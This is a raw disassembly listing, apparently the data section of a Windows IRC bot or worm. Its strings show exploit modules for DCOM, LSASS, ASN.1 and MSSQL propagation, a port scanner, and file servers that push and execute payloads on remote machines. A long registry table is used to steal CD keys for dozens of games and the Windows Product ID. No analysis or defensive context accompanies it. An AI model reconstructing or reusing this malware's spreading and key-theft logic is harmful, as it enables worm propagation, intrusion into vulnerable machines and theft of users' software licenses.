db 66h, 74h, 70h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFileNotFoundOn db ' File not found on %s, (%s).',0
align 4
dword_427254 dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh
; DATA XREF: sub_406B84+399o
unk_427268 db 2 ; DATA XREF: sub_406B84+33Eo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFileSentToSE_0 db 'File sent to %s, executing %s on remote machine.',0
align 10h
unk_4272C0 db 2 ; DATA XREF: sub_406B84+15Ao
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToOpenFi db 'Failed to open file: %s (possible virus scan!)',0
align 10h
unk_427310 db 2 ; DATA XREF: sub_406B84+6Ao
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorSocketF_2 db 'Error: socket() failed, returned: <%d>.',0
aOctet db 'octet',0 ; DATA XREF: sub_406B84+Fo
align 10h
aDcom135_0 db 'dcom135',0 ; DATA XREF: sub_4076CB+155o
db 2 dup(0)
aDcom135 db 'Dcom135',0 ; DATA XREF: .text:00404A94o
align 4
dd 5 dup(0)
dword_427388 dd 87h ; sub_40CD3A+2EEAr ...
off_42738C dd offset sub_4033B6 ; DATA XREF: sub_4076CB+1D7r
dword_427390 dd 0 ; sub_4033B6+2F0r ...
dword_427394 dd 1 dword_427398 dd 0 aDcom445 db 'dcom445',0
dd 63440000h, 34346D6Fh, 35h, 5 dup(0)
dd 1BDh, 4033B6h, 0
dd 1, 0
aDcom1025 db 'dcom1025',0
align 2
aDcom1025_0 db 'Dcom1025',0
align 4
dd 5 dup(0)
dd 401h, 4033B6h, 0
dd 1, 0
aDcass db 'dcass',0
align 4
dd 63640000h, 737361h, 6 dup(0)
dd 1BDh, 402F74h, 0
dd 2 dup(1), 7361736Ch, 35343473h, 736C0000h, 34737361h
dd 3534h, 5 dup(0)
dd 1BDh, 403C74h, 0
dd 2 dup(1), 7361736Ch, 35333173h, 736C0000h, 31737361h
dd 3533h, 5 dup(0)
dd 87h, 403C74h, 0
dd 2 dup(1), 7361736Ch, 39333173h, 736C0000h, 31737361h
dd 3933h, 5 dup(0)
dd 8Bh, 403C74h, 0
dd 2 dup(1), 61736C63h, 7373h, 6C630000h, 73736173h, 6 dup(0)
dd 1BDh, 402DD1h, 0
dd 2 dup(1), 6C31736Ch, 73h, 736C0000h, 736C31h, 6 dup(0)
dd 1BDh, 403E21h, 0
dd 2 dup(1), 7173736Dh, 6Ch, 736D0000h, 6C7173h, 6 dup(0)
dd 599h, 404EC7h, 0
dd 2 dup(1), 316E7361h, 6E626D73h, 736D0074h, 737361h
dd 6 dup(0)
dd 599h, 4050FFh, 0
dd 2 dup(1), 6C616572h, 74736163h, 65520000h, 61636C61h
dd 7473h, 5 dup(0)
dd 22Ah, 40528Fh, 0
dd 1, 0
aAsn1http db 'asn1http',0
align 2
aAsn1http_0 db 'asn1http',0
align 4
dd 5 dup(0)
dd 50h, 4048D6h, 0
dd 2 dup(1), 316E7361h, 626D73h, 73610000h, 6D73316Eh
dd 62h, 5 dup(0)
dd 1BDh, 4048D6h, 0
dd 2 dup(1), 7361736Dh, 73h, 73610000h, 6D73316Eh, 746E62h
dd 5 dup(0)
dd 8Bh, 4048D6h, 0
dd 2 dup(1), 316E7361h, 6E626D73h
db 74h, 0
byte_4276EE db 1 ; DATA XREF: sub_40CD3A:loc_4117DEr
; sub_40CD3A+4AAEo
aMsass db 'msass',0
align 4
dd 100h, 3 dup(0)
aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_407075+81o
align 4
aSD db ' %s: %d,',0 ; DATA XREF: sub_407075+42o
align 4
unk_427728 db 2 ; DATA XREF: sub_407075+11o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aExploitStatist db ' Exploit Statistics:',0
align 10h
unk_427760 db 2 ; DATA XREF: sub_40713F+42o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aScanNotActive_ db ' Scan not active.',0
unk_427794 db 2 ; DATA XREF: sub_40713F+2Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCurrentIpS_ db ' Current IP: %s.',0
align 4
unk_4277C8 db 2 ; DATA XREF: sub_4071B6+35Do
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStartS db 'Failed to start server, error: <%d>.',0
align 10h
unk_427810 db 2 ; DATA XREF: sub_4071B6+307o
; sub_40CD3A+4FD8o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aServerListenin db 'Server listening on IP: %s:%d, Directory: %s\.',0
align 10h
dword_427860 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: sub_4071B6+252o
dd 2029206Ch, 2BBBB02h
aFailedToStar_0 db ' Failed to start server, error: <%d>.',0
align 8
dword_4278A8 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: sub_4071B6+1FBo
dd 2029206Ch, 2BBBB02h
aServerStartedO db ' Server started on Port: %d, File: %s, Request: %s.',0
align 10h
unk_427900 db 2 ; DATA XREF: sub_4071B6+138o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStar_1 db 'Failed to start server, error: <%d>.',0
align 4
unk_427948 db 2 ; DATA XREF: sub_4071B6+D8o
; sub_40CD3A+4E63o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aServerStarte_0 db 'Server started on Port: %d, File: %s, Request: %s.',0
align 4
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_407592+38o
; sub_40A08A+46o
unk_4279A8 db 2 ; DATA XREF: sub_4076CB+DCo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aIpSPortDIsOpen db ' IP: %s, Port %d is open.',0
align 8
unk_4279E8 db 2 ; DATA XREF: sub_4076CB+84o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aIpSDScanThread db ' IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
align 4
unk_427A38 db 2 ; DATA XREF: sub_4078DF+1E0o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFinishedAtSDAf db ' Finished at %s:%d after %d minute(s) of scanning.',0
align 10h
unk_427A90 db 2 ; DATA XREF: sub_4078DF+168o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStar_2 db ' Failed to start worker thread, error: <%d>.',0
align 10h
unk_427AE0 db 2 ; DATA XREF: sub_4078DF+103o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSDScanThreadDS db ' %s:%d, Scan thread: %d, Sub-thread: %d.',0
align 10h
unk_427B30 db 2 ; DATA XREF: sub_4078DF+87o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToInitia db ' Failed to initialize critical section.',0
align 10h
unk_427B80 db 2 ; DATA XREF: sub_407B36+143o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStartC db ' Failed to start client thread, error: <%d>.',0
align 10h
unk_427BD0 db 2 ; DATA XREF: sub_407B36+E1o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aClientConnecti db ' Client connection from IP: %s:%d, Server thread: %d.',0
unk_427C28 db 2 ; DATA XREF: sub_407CBD+157o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStar_3 db ' Failed to start connection thread, error: <%d>.',0
align 10h
unk_427C80 db 2 ; DATA XREF: sub_407CBD+E1o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aClientConnec_0 db ' Client connection to IP: %s:%d, Server thread: %d.',0
align 4
unk_427CD8 db 2 ; DATA XREF: sub_407F42+1B1o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Fh, 63h, 6Bh
db 73h ; s
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStar_4 db 'Failed to start server on Port %d.',0
align 10h
unk_427D20 db 2 ; DATA XREF: sub_407F42+17Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Fh, 63h, 6Bh
db 73h ; s
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStar_5 db 'Failed to start client thread, error: <%d>.',0
align 10h
unk_427D70 db 2 ; DATA XREF: sub_407F42+114o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Fh, 63h, 6Bh
db 73h ; s
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aClientConnec_1 db 'Client connection from IP: %s:%d, Server thread: %d.',0
align 4
unk_427DC8 db 2 ; DATA XREF: sub_407F42+A8o
; sub_40CD3A+584Do
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Fh, 63h, 6Bh
db 73h ; s
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aServerStarte_1 db 'Server started on: %s:%d.',0
align 8
unk_427E08 db 2 ; DATA XREF: sub_408146+1F9o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Fh, 63h, 6Bh
db 73h ; s
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorFailedToC db 'Error: Failed to connect to target, returned: <%d>.',0
align 10h
unk_427E60 db 2 ; DATA XREF: sub_408146+18Ao
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Fh, 63h, 6Bh
db 73h ; s
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorFailedToO db 'Error: Failed to open socket(), returned: <%d>.',0
unk_427EB0 db 2 ; DATA XREF: sub_408146+F2o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Fh, 63h, 6Bh
db 73h ; s
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aAuthentication db 'Authentication failed. Remote userid: %s != %s.',0
dd 80000001h
off_427F04 dd offset aSoftwareValveC ; DATA XREF: sub_408503+Cr
; sub_408503+21o
; "Software\\Valve\\CounterStrike\\Settings"
dd offset aCdkey ; "CDKey"
dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_427F10 dd 2 dup(0) dd 80000001h, 4290A8h, 42909Ch, 42908Ch, 2 dup(0)
dd 80000001h, 42906Ch, 429068h, 429054h, 2 dup(0)
dd 80000001h, 429030h, 429068h, 429024h, 2 dup(0)
dd 80000001h, 429000h, 428FF8h, 428FE4h, 2 dup(0)
dd 80000001h, 428FD0h, 428FC0h, 428FA4h, 2 dup(0)
dd 80000001h, 428F60h, 4290E8h, 428F4Ch, 2 dup(0)
dd 80000002h, 428F20h, 428F14h, 428EF4h, 2 dup(0)
dd 80000002h, 428EC0h, 4290E8h, 428EA8h, 2 dup(0)
dd 80000002h, 428E74h, 4290E8h, 428E5Ch, 2 dup(0)
dd 80000002h, 428E44h, 4290E8h, 428E2Ch, 2 dup(0)
dd 80000002h, 428DF0h, 43B658h, 428DE0h, 2 dup(0)
dd 80000002h, 428DA8h, 43B658h, 428D94h, 2 dup(0)
dd 80000002h, 428D48h, 43B658h, 428D28h, 2 dup(0)
dd 80000002h, 428CD8h, 43B658h, 428CA8h, 2 dup(0)
dd 80000002h, 428C6Ch, 43B658h, 428C58h, 2 dup(0)
dd 80000002h, 428C20h, 43B658h, 428C10h, 2 dup(0)
dd 80000002h, 428BC0h, 43B658h, 428B90h, 2 dup(0)
dd 80000002h, 428B50h, 43B658h, 428B30h, 2 dup(0)
dd 80000002h, 428B00h, 43B658h, 428AE0h, 2 dup(0)
dd 80000002h, 428AA4h, 43B658h, 428A90h, 2 dup(0)
dd 80000002h, 428A48h, 43B658h, 428A24h, 2 dup(0)
dd 80000002h, 4289D0h, 43B658h, 4289A0h, 2 dup(0)
dd 80000002h, 428950h, 43B658h, 428924h, 2 dup(0)
dd 80000002h, 4288E4h, 4288DCh, 4288BCh, 2 dup(0)
dd 80000002h, 428878h, 43B658h, 42885Ch, 2 dup(0)
dd 80000002h, 428810h, 43B658h, 4287ECh, 2 dup(0)
dd 80000002h, 4287B8h, 43B658h, 4287ACh, 2 dup(0)
dd 80000002h, 428778h, 43B658h, 42876Ch, 2 dup(0)
dd 80000002h, 428738h, 43B658h, 42872Ch, 2 dup(0)
dd 80000002h, 4286F8h, 43B658h, 4286ECh, 2 dup(0)
dd 80000002h, 4286B0h, 43B658h, 42869Ch, 2 dup(0)
dd 80000002h, 428660h, 43B658h, 42864Ch, 2 dup(0)
dd 80000002h, 42861Ch, 4290E8h, 428600h, 2 dup(0)
dd 80000002h, 4285E0h, 4285D8h, 4285B4h, 2 dup(0)
dd 80000002h, 428598h, 4285D8h, 428578h, 2 dup(0)
dd 80000002h, 428558h, 4285D8h, 428534h, 2 dup(0)
dd 80000002h, 42851Ch, 4285D8h, 428518h, 2 dup(0)
dd 80000002h, 4284FCh, 4284ECh, 4284E4h, 2 dup(0)
dd 80000002h, 4284B0h, 4284ACh, 428494h, 2 dup(0)
dd 80000002h, 428458h, 42844Ch, 428424h, 428414h, 428400h
dd 80000002h, 4283DCh, 4283D0h, 4283BCh, 4283ACh, 4283A4h
dd 80000002h, 4283DCh, 4283D0h, 428378h, 4283ACh, 428370h
dd 80000002h, 4283DCh, 4283D0h, 428340h, 4283ACh, 428338h
dd 6 dup(0)
dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
dd 64726564h, 296B7261h, 0
dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h
dd 696E692Eh, 0
aNeverwinterNig db 'Neverwinter Nights',0
align 10h
aLocation db 'Location',0
align 4
aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0
align 10h
aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0
align 4
aBaseMpSof2key db 'base\mp\sof2key',0
aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0
align 4
aInstallpath db 'InstallPath',0
db 53h
aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
align 4
aHiddenDangerou db 'Hidden & Dangerous 2',0
align 4
aKey db 'key',0 ; DATA XREF: .text:0042D28Co
db 53h
aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
align 4
aChrome db 'Chrome',0
align 4
aSerialnumber db 'SerialNumber',0
align 4
db 53h
aOftwareTechlan db 'oftware\Techland\Chrome',0
align 4
aNox db 'NOX',0
aSoftwareWestwo db 'Software\Westwood\NOX',0
align 4
aCommandAndConq db 'Command and Conquer: Red Alert 2',0
align 4
db 53h
aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0
align 4
aCommandAndCo_0 db 'Command and Conquer: Red Alert',0
align 4
db 53h
aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0
align 4
aSerial db 'Serial',0
align 10h
db 53h
aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0
align 10h
aRainbowSixIiiR db 'Rainbow Six III RavenShield',0
db 53h
aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
align 4
aNascarRacing20 db 'Nascar Racing 2003',0
align 10h
db 53h
aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
align 4
aNascarRacing_0 db 'Nascar Racing 2002',0
align 10h
db 53h
aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
align 4
aNhl2003 db 'NHL 2003',0
align 4
db 53h
aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
align 4
aNhl2002 db 'NHL 2002',0
align 4
db 53h
aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
align 4
aFifa2003 db 'FIFA 2003',0
align 4
db 53h
aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
align 4
aFifa2002 db 'FIFA 2002',0
align 4
db 53h
aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
align 4
aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0
align 10h
db 53h
aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
db 'on\ergc',0
align 4
aNeedForSpeedUn db 'Need For Speed: Underground',0
db 53h
aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
align 4
aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0
align 4
aErgc db 'ergc',0
align 4
db 53h
aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
align 4
aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0
align 10h
db 53h
aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
db 'earhead\ergc',0
align 10h
aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0
align 10h
db 53h
aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
db 'eakthrough\ergc',0
align 4
aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0
align 8
db 53h
aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
db 'gc',0
align 10h
aGlobalOperatio db 'Global Operations',0
align 4
db 53h
aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
align 10h
aCommandAndCo_2 db 'Command and Conquer: Generals',0
align 10h
db 53h
aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni db 'James Bond 007: Nightfire',0
align 10h
db 53h
aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0
align 10h
db 53h
aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
db 'o Hour\ergc',0
align 10h
aBlackAndWhite db 'Black and White',0
db 53h
aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
align 4
aBattlefieldVie db 'Battlefield Vietnam',0
db 53h
aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
align 4
aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0
align 8
db 53h
aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
db 'of WWII\ergc',0
align 4
aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0
db 53h
aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
db 'e\ergc',0
align 4
aBattlefield1_1 db 'Battlefield 1942',0
align 4
db 53h
aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce db 'Freedom Force',0
align 10h
db 53h
aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri db 'IGI 2: Covert Strike',0
align 4
db 53h
aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0
align 4
aUnrealTourname db 'Unreal Tournament 2004',0
align 4
db 53h
aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0
align 4
aUnrealTourna_0 db 'Unreal Tournament 2003',0
align 10h
db 53h
aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0
align 4
aMicrosoftWindo db 'Microsoft Windows Product ID',0
align 4
aProductid db 'ProductId',0
align 10h
db 53h
aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion',0
align 4
aSoldiersOfAnar db 'Soldiers Of Anarchy',0
aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
align 4
aLegendsOfMight db 'Legends of Might and Magic',0
align 10h
aCustomernumber db 'CustomerNumber',0
align 10h
aSoftware3d0Sta db 'Software\3d0\Status',0
aIndustryGiant2 db 'Industry Giant 2',0
align 4
aPrvkey db 'prvkey',0
align 10h
aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0
align 4
aHalfLife db 'Half-Life',0
align 10h
aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0
align 4
aGunmanChronicl db 'Gunman Chronicles',0
align 4
aKey_0 db 'Key',0
aSoftwareValveG db 'Software\Valve\Gunman\Settings',0
align 4
aTheGladiators db 'The Gladiators',0
align 4
aRegnumber db 'RegNumber',0
align 4
aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0
align 10h
aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: .text:00427F0Co
aCdkey db 'CDKey',0 ; DATA XREF: .text:00427F08o
align 10h
aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: .text:off_427F04o
align 4
asc_429118: ; DATA XREF: sub_408503+E7o
; sub_408503+F2o
unicode 0, <=>,0
aR: ; DATA XREF: sub_408503+8Fo
; sub_40CD3A:loc_4110F8o
unicode 0, <r>,0
aSS_3 db '%s\%s',0 ; DATA XREF: sub_408503+7Eo
; sub_4087CA+45o ...
align 4
aSCdKeyS_ db '%s CD Key: (%s).',0 ; DATA XREF: sub_408503+2Bo
align 4
unk_42913C db 2 ; DATA XREF: sub_4086B2+C5o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFilesFoundD_ db ' Files found: %d.',0
unk_429170 db 2 ; DATA XREF: sub_4086B2+5Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSearchingForFi db ' Searching for file: %s.',0
align 4
aFoundSS db ' Found: %s\%s',0 ; DATA XREF: sub_4087CA+107o
align 4
aS_3 db '%s\*',0 ; DATA XREF: sub_4087CA+1Ao
align 4
